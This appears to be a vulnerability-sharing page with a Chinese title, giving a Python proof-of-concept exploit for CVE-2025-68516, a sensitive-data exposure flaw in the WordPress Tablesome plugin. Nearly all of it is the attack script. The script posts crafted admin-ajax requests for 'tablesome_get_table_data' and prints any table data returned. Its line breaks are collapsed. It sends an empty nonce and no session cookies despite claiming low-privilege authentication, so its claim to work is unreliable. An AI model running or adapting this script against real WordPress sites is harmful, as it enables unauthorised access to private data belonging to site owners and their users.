CVE-2025-68516: WordPress Tablesome插件敏感信息泄露漏洞

import requests import sys # CVE-2025-68516 PoC - WordPress Tablesome Sensitive Data Exposure # Target: WordPress site with Tablesome plugin <= 1.1.35.1 def exploit_tablesome(target_url, table_id): """ Exploit for CVE-2025-68516: Tablesome Plugin Sensitive Data Exposure Description: The Tablesome plugin allows low-privileged users to retrieve embedded sensitive data through improper access control. This PoC demonstrates how an authenticated user with low privileges can access sensitive data from tables they should not have access to. """ # Target endpoint for tablesome data retrieval endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Construct malicious request to retrieve sensitive data payload = { 'action': 'tablesome_get_table_data', 'table_id': table_id, 'nonce': '', # Requires valid nonce from the page 'post_id': 0 } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'X-Requested-With': 'XMLHttpRequest' } try: # Send request with low-privilege user session response = requests.post(endpoint, data=payload, headers=headers, timeout=10) if response.status_code == 200: data = response.json() if 'data' in data and data['data']: print(f"[+] Success! Sensitive data retrieved from table {table_id}") print(f"[+] Data: {data['data']}") return True else: print(f"[-] No sensitive data found or access denied") return False else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <table_id>") print(f"Example: python {sys.argv[0]} http://example.com 123") sys.exit(1) target = sys.argv[1] table_id = sys.argv[2] print(f"[*] Targeting: {target}") print(f"[*] Attempting to exploit CVE-2025-68516...") exploit_tablesome(target, table_id)